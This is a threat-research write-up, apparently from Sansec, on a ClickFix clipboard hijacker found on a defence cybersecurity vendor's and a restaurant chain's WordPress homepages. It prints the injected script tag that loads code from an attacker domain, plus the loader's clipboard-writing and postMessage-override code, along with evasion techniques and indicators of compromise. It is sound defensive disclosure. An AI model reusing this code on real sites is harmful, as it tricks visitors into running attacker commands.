ClickFix malware hits DoD cybersecurity vendor homepage

by Sansec Forensics Team

Published in Threat Research − April 10, 2026

Sansec found a ClickFix clipboard hijacker on the homepage of a US government & military cybersecurity vendor. The same was found at a global restaurant chain the day before.

ClickFix malware hits DoD cybersecurity vendor homepage

The vendor is currently running a ClickFix clipboard hijacker on its own homepage. The vendor sells network exposure management and attack-path analysis to Fortune 500 enterprises, the US Department of Defense, and all five branches of the US military.

The same loader (windlrr.com) ran on a global restaurant chain 24 hours earlier, pulled from a different C2 domain. Both C2 domains were registered on 2026-04-08, three minutes apart. Both sites run WordPress and still host the loader at the time of writing. More sites are getting infected right now, see live updates.

At the time of publishing, the C2 returns benign redirects ({"s":0,"r":"https://www.google.com"}) to every fingerprint Sansec has tested. The loader runs on both sites but has not yet delivered a payload. The attacker can switch it on at any moment.

ClickFix attacks work by showing the visitor a full-screen verification overlay that asks them to paste a "code" into Win+R or a terminal. The clipboard already contains the attacker's command by the time the prompt appears. In past ClickFix campaigns, that command is a PowerShell one-liner that downloads an info-stealer or RAT. Sansec has not yet seen what this C2 will push.

The clipboard trick

A <script> tag sits in the HTML <head>, between the cookie consent script and Google Tag Manager:

<script data-cfasync="false" async src="https://windlrr.com/file.js"></script>

When the C2 returns an attack payload, the loader injects an iframe at z-index: 2147483647 covering the viewport. Its srcdoc is the HTML the C2 returned, with a script block spliced in just before </head>:

function __cp(b, k) {
  var t = _cmdVal;
  if (!t && b) {
    try {
      t = atob(b);
    } catch (e) {}
  }
  if (t) {
    var a = document.createElement("textarea");
    a.value = t;
    a.style.cssText = "position:fixed;left:-9999px;opacity:0";
    document.body.appendChild(a);
    a.focus();
    a.select();
    document.execCommand("copy");
    a.remove();
    try {
      navigator.clipboard.writeText(t);
    } catch (e) {}
  }
  var _p = window.parent;
  try {
    _p.postMessage(
      { t: "v", c: b || "1", keep: k || false, cmd: t || "" },
      "*",
    );
  } catch (e) {}
}

Two clipboard writes run in sequence. The legacy execCommand('copy') against a hidden textarea works in sandboxed iframes and old browsers. The modern navigator.clipboard.writeText() needs a user gesture and clipboard permission, which the victim supplies by clicking the fake verify button.

The iframe then calls postMessage on the parent window. The loader has already replaced the parent's postMessage via Object.defineProperty:

var _pm = window.parent.postMessage.bind(window.parent);
Object.defineProperty(window.parent, "postMessage", {
  value: function (d, o) {
    if (d && d.t === "v") {
      __cp(d.c, d.keep);
      return;
    }
    _pm(d, o);
  },
  writable: true,
});

A {t:"v"} message from the iframe never reaches the message queue. Instead, it runs the same clipboard code again, this time in the parent document. The parent is same-origin with the site the visitor trusts. That lets the clipboard API accept the write, even in browsers that block it from cross-origin iframes.

Anti-research stack

The loader filters out scanners and researchers before running any payload.

Proof of work: /t returns a token and a difficulty value. The loader brute-forces a nonce where hash(token:nonce) & 0xFFFF % difficulty === 0. Real browsers solve it in milliseconds. Scanners that do not run JavaScript never get past this step.

Fingerprinting: the p() function collects screen metrics, WebGL renderer, canvas hash, audio sample rate, plugin count, languages and timezone. It also probes for specific automation tools:

Field	Detection target
`w`, `hd`	`navigator.webdriver` and the `webdriver` HTML attribute
`hp`	PhantomJS (`callPhantom`, `_phantom`, `phantom`)
`hn`	Nightmare.js (`__nightmare`)
`hs`	Selenium (`__selenium_unwrapped`, `__fxdriver_unwrapped`, `__webdriver_evaluate`)
`hc`	Chrome DevTools protocol leak (`$cdc_` variables)
`et`	Fingerprint collection time (timing-based bot check)

Gate: the loader posts the fingerprint, user agent, hostname, referrer and any UTM or gclid parameters to /g. The server replies with {s:1, h:"<html>..."} (attack) or {s:0, r:"https://www.google.com"} (benign redirect). Unknown fingerprints get the benign branch, so automated scanners and VirusTotal submissions never see the attack.

Entry vector

Sansec has not yet confirmed how the attacker reached the <head> slot. Two scenarios fit:

Vulnerable WordPress plugin. A tag manager, consent manager or header-injection plugin with an authentication bypass lets an attacker write a script tag without filesystem access.
Stolen credentials. Marketing CMS logins are routinely shared across agencies and contractors. One leaked password gets the same result.

Two unrelated WordPress sites hit within 24 hours, both in the same slot, points to automated exploitation of a plugin vulnerability rather than credential reuse. A live list of infected sites is on urlscan.io. Sansec is tracking further victims.

Rapid infrastructure rotation

Sansec logged a different C2 domain on the first victim one day earlier:

Timestamp (UTC)	C2 domain	Victim
2026-04-08 13:05:22	`stromao.com`	Global restaurant chain
2026-04-08 19:20:26	`stromao.com`	Global restaurant chain
2026-04-09 01:34:32	`windlrr.com`	Global restaurant chain
2026-04-09 14:33:04	`windlrr.com`	Global restaurant chain
2026-04-10 (live)	`windlrr.com`	US enterprise cybersecurity vendor

Both C2 domains were registered on 2026-04-08, minutes apart:

Domain	Created
`windlrr.com`	2026-04-08 10:40:08
`stromao.com`	2026-04-08 10:43:36

Both domains return an empty homepage. Only /file.js, /t, /g, /c and /api/stat/click respond. The payload code, request format and endpoint layout are identical on both. The same operator is rotating infrastructure to stay ahead of blocklists.

After Sansec flagged windlrr.com as malicious, eight other security vendors confirmed the finding on VirusTotal.

Sansec contacted the vendor and has not received a response. The vendor has no RFC 9116 security.txt file at /.well-known/security.txt or /security.txt, so outside researchers have no standardized channel to report problems. That is awkward for a company that sells exposure management to the Department of Defense.

Corporate marketing sites remain a blind spot, even at the vendors selling the tools to close it.

Recommendations

Block attacks: Deploy Sansec Shield to stop malicious third-party scripts and exploitation attempts in real time
Scan for compromise: Run eComscan to detect this injection and other malware, backdoors, and vulnerabilities

Indicators of Compromise

windlrr[.]com/file.js
windlrr[.]com/api/stat/click
stromao[.]com/file.js

6e4376d7cc71aeac5dc14b87b55f504ea1a72ca0a086a2c5a9aba25c781f3a18

Timeline

Date	Event
2026-04-08 10:40:08	`windlrr.com` registered
2026-04-08 10:43:36	`stromao.com` registered
2026-04-08 13:05	First `stromao.com` injection observed on restaurant chain
2026-04-09 01:34	Attacker rotates restaurant chain to `windlrr.com`
2026-04-10	`windlrr.com` injection observed on cybersecurity vendor
2026-04-10	Sansec notifies the vendor, no response received
2026-04-10	Sansec publishes this research

Protect your store now!

Block all known Magento attacks, while you schedule the latest critical patch until a convenient moment. No more downtime and instability from rushed patching.

Get Sansec Shield

skimming wordpress clickfix clipboard-hijacker scam-overlay